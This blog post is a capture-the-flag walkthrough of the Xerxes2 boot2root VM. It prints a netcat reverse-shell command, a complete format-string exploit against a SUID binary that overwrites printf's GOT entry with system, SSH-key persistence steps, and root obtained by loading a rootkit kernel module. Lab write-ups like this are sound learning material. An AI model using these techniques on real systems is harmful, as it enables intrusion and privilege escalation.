published on in writeup
tags: xerxes

Xerxes: 2

Before you lies the mainframe of XERXES. Compromise the subsystems and gain access to /root/flag.txt. Xerxes2 is the next installment of barrebas’ xerxes series of boot2roots. This time around I had the pleasure of testing the VM before its public release, which I must say was an honour.


[email protected]:~# nmap -n -sV -p-
22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
80/tcp    open  http    lighttpd 1.4.31
111/tcp   open  rpcbind 2-4 (RPC #100000)
4444/tcp  open  krb524?
8888/tcp  open  http    Tornado httpd 2.3
51400/tcp open  status  1 (RPC #100024)
1 service unrecognized despite returning data.

Easter Egg

Connecting to the service on 4444 spews out a massive base64 string, which when decoded looks like a binary. Then running it through file shows it to be an MPEG.

[email protected]:~/xerxes/2# nc 4444
[email protected]:~/xerxes/2# base64 -d 4444 > out.bin
[email protected]:~/xerxes/2# file out.bin 
out.bin: MPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Monaural

It appears to be a sound-bite from System Shock, but nothing remarkable on the surface. However, you can use an application like Sonic Visualiser to view the spectrogram of the audio which reveals the following image.

There is an instance of lighttpd running on port 80, which serves up a simple page with a graphic. Nikto/dirb/wfuzz etc didn’t turn up anything useful.

There is an empty .bash_history file, but this was a mistake when the users’ bash history files were errased before release. Silly Bas :p


There’s another web-based service running on 8888, called IPython Notebook.

Creating a new notebook gives you a place to execute some code. This can be used to execute a python-based reverse shell (using code from pentest monkey for example), or you can append ! and run bash shell commands.

uid=1002(delacroix) gid=1002(delacroix) groups=1002(delacroix)

This can be used to execute a netcat shell, though beware - there’s a clever little monitoring service which terminates the connection every minute or so.

!/bin/nc 1234 -e '/bin/sh'
XERXES: terminating anomalous connection
Remember, the unauthorized access to XERXES subsystems is a class 3 infraction.

The best bet is to echo your public SSH key into delacroix’s authorized_keys file, directly through IPython and then SSH in.

More warnings - the same process which kicks the netcat shell (and probably works with other types of connections too) attempts an SSH connection back to you with the credentials root:toor. If it successfully connects it reboots your box! This had me very confused for a while.

<rasta_mouse> hmm, kali VM keeps rebooting... what have you done :p
<barrebas> haha! it works! :D
<rasta_mouse> :'(
<barrebas> change your root pw :)

Eventually, when all that’s straightened out:

[email protected]:~# ssh delacroix @
Welcome to xerxes2.
      XERXES wishes you
       a pleasant stay.
____   ___  ____  ___  __ ____   ___  ____     ____     ____   
`MM(   )P' 6MMMMb `MM 6MM `MM(   )P' 6MMMMb   6MMMMb\  6MMMMb  
 `MM` ,P  6M'  `Mb MM69 "  `MM` ,P  6M'  `Mb MM'    ` MM'  `Mb 
  `MM,P   MM    MM MM'      `MM,P   MM    MM YM.           ,MM 
   `MM.   MMMMMMMM MM        `MM.   MMMMMMMM  YMMMMb      ,MM' 
   d`MM.  MM       MM        d`MM.  MM            `Mb   ,M'    
  d' `MM. YM    d9 MM       d' `MM. YM    d9 L    ,MM ,M'      
_d_  _)MM_ YMMMM9 _MM_    _d_  _)MM_ YMMMM9  MYMMMM9  MMMMMMMM 


Within delacroix’s home directory is a file, bf.c and their .bash_history file contains the following line:

/opt/bf "<<++++[>++++<-]>[>+++++>+++++>+++++>+++++>++>++++>++++>++++>+++++>++++>+++++<<<<<<<<<<<-]>---->->->----->>++++>+++++>+++++>>+++++>++#"

/opt/bf has the SUID bit set and is owned by polito. Executing the above gives the following: LOOK DEEPER

bf.c is the source code (custom written by Bas I might add!) for /opt/bf, which is a brainfuck interpreter. For the record, I hate brainfuck :p

There is a new ‘function’ within this interpreter:

case '#':
	// new feature

It’s plain to see that buf (i.e user input) is being passed to printf without specifying the format string. You got it - format string vulnerability!

gdb-peda$ checksec /opt/bf
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

Other checks show that ASLR is enabled on xerxes2, but this can be circumvented by setting ulimit. Using ldd, we can verify that libc now loads into the same memory location each time.

[email protected]:~$ ldd /opt/bf =>  (0x4001e000) => /lib/i386-linux-gnu/i686/cmov/ (0x40026000)
	/lib/ (0x40000000)

Next we try and write a value into buf and read it back from the stack.

[email protected]:~$ python -c 'print "AAAA" + ("%p" * 50)' | /opt/bf `python -c 'print (",>" * 50)'`#

I make this to be the 16th entry. We can test this out by specifically requesting that location.

[email protected]:~$ python -c 'print "AAAA %16$x"' | /opt/bf `python -c 'print (",>" * 16)'`#
AAAA 41414141

Next, we have a look at the GOT and find a suitable pointer to overwrite.

[email protected]:~$ objdump -R /opt/bf 
/opt/bf:     file format elf32-i386
OFFSET   TYPE              VALUE 
08049a38 R_386_GLOB_DAT    __gmon_start__
08049a48 R_386_JUMP_SLOT   printf
08049a4c R_386_JUMP_SLOT   getchar
08049a50 R_386_JUMP_SLOT   __gmon_start__
08049a54 R_386_JUMP_SLOT   exit
08049a58 R_386_JUMP_SLOT   __libc_start_main
08049a5c R_386_JUMP_SLOT   memset
08049a60 R_386_JUMP_SLOT   putchar

We can see that printf is at 0x08049a48 - the plan is to overwrite the address for printf with something like system, then jump to it and execute something such as /bin/sh. The address for system can be found in gdb.

gdb-peda$ print system
$1 = {<text variable, no debug info>} 0x40062000 <system>

First, I will try and overwrite the address for printf.

[email protected]:~$ printf '\x48\x9a\x04\x08.%%16$n' > exploit
gdb-peda$ disassemble main
   0x080486eb <+103>:	mov    DWORD PTR [esp],0x0
gdb-peda$ b *0x080486eb
gdb-peda$ r ",>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>#" < exploit
Breakpoint 1, 0x080486eb in main ()
gdb-peda$ x/x 0x08049a48
0x8049a48 <printf @ got.plt>:	0x00000005

Sweet, so we’ve overwritten the pointer to printf with 0x00000005, but what we actually need to write in here, is the address for system. The $n writes the number of bytes which have been read so far. The exploit we just created was five bytes in size (the address plus the period), so we need to calculate the number of bytes required that would write 0x40062000 into the pointer.

This needs to be done in two writes, so the address is split into two (0x2000 and 0x4006).

At the break, peda dumps part of the stack, which shows how we’re now successfully overwriting the pointer with address for system. What’s left is to throw an argument in for system to execute, we can quickly test it using id.

[email protected]:~$ printf '\x48\x9a\x04\x08\x4a\x9a\x04\x08.%%8182u.%%16$n.%%8196u.%%17$n;id;' > exploit
[email protected]:~$ /opt/bf ",>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>##" < exploit
uid=1002(delacroix) gid=1002(delacroix) euid=1001(polito) egid=1001(polito) groups=1001(polito),1002(delacroix)

The only issue with this exploit is that it doesn’t seem to drop directly into a new shell. So I wrote a shell script that would be executed, which would copy my public SSH key into polito’s .ssh directory. My final exploit:

[email protected]:~$ printf '\x48\x9a\x04\x08\x4a\x9a\x04\x08.%%8182u.%%16$n.%%8196u.%%17$n;/tmp/x;' > exploit
[email protected]:~$ /opt/bf ",>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>##" < exploit
mkdir /home/polito/.ssh
echo "ssh-rsa AAAAB [...snip...] iWI+h [email protected]" >> /home/polito/.ssh/authorized_keys
[email protected]:~# ssh polito @
Welcome to xerxes2.
      XERXES wishes you
       a pleasant stay.
[email protected]:~$ id; whoami
uid=1001(polito) gid=1001(polito) groups=1001(polito)


Within polito’s home directory are two interesting files.

-rw-r--r-- 1 polito polito 44813850 Jul 16 12:17 dump.gpg
-rw-r--r-- 1 polito polito    27591 Jul 16 12:19 polito.pdf

Opening the PDF shows the following:

The QR code translates to nothing but the string XERXES is watching..., the other message suggests would need to decrypt the GPG file.

There’s nothing inside the .bash_history file for the user, however if we run file on the PDF we see something rather unusual.

[email protected]:~$ file polito.pdf 
polito.pdf: x86 boot sector, code offset 0xe0

It turned out to be a trivial exercise to boot the image using qemu, and it’s nice enough to give us a password!

This password can then be used to decrypt the GPG file. At first it filled my screen with an absolute jumble of madness, so it needs to be output to a file.

[email protected]:~$ gpg -o dump -d dump.gpg

The decrypted file is binary and appears to be a dump from memory. It’s too long to analyse by hand, so I tried my luck at grepping for particular strings. Eventually, I came across the following line:

openssl enc -e -salt -aes-256-cbc -pass pass:c2hvZGFu -in /opt/backup/korenchkin.tar -out /opt/backup/korenchkin.tar.enc

Until now, I hadn’t come across this file - so much for enumeration! But when I checked, it was indeed there so I went ahead and decrypted it.

[email protected]:~$ openssl enc -d -salt -aes-256-cbc -pass pass:c2hvZGFu -in /opt/backup/korenchkin.tar.enc -out korenchkin.tar
[email protected]:~$ tar -xvf korenchkin.tar 

These keys can be used to SSH as the user korenchkin.


There are no files within the user’s home directory, but they are a member of the sudoers group.

(root) NOPASSWD: /sbin/insmod, (root) /sbin/rmmod

These applications are used to load and unload kernel modules - which just screams rootkit to me. I did a search on GitHub and pretty much ran with the first hit.

I downloaded this to my Kali box and uploaded it to xerxes via SCP. Then it was a matter of compiling and loading.

[email protected]:~/rootkit$ make
[email protected]:~/rootkit$ sudo insmod rt.ko 
[email protected]:~/rootkit$ tools/ mypenislong /bin/bash
[email protected]:~# id; whoami
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(korenchkin)


[email protected]:/root# cat flag.txt 
____   ___  ____  ___  __ ____   ___  ____     ____     ____   
`MM(   )P' 6MMMMb `MM 6MM `MM(   )P' 6MMMMb   6MMMMb\  6MMMMb  
 `MM` ,P  6M'  `Mb MM69 "  `MM` ,P  6M'  `Mb MM'    ` MM'  `Mb 
  `MM,P   MM    MM MM'      `MM,P   MM    MM YM.           ,MM 
   `MM.   MMMMMMMM MM        `MM.   MMMMMMMM  YMMMMb      ,MM' 
   d`MM.  MM       MM        d`MM.  MM            `Mb   ,M'    
  d' `MM. YM    d9 MM       d' `MM. YM    d9 L    ,MM ,M'      
_d_  _)MM_ YMMMM9 _MM_    _d_  _)MM_ YMMMM9  MYMMMM9  MMMMMMMM 
	congratulations on beating xerxes2!
	I hope you enjoyed it as much as I did making xerxes2. 
	xerxes1 has been described as 'weird' and 'left-field'
	and I hope that this one fits that description too :)
	Many thanks to TheColonial & rasta_mouse for testing!
	Ping me on #vulnhub for thoughts and comments!
					  @barrebas, July 2014

Thanks for a brilliant challenge barrebas, and damn you for the xerxes-guard!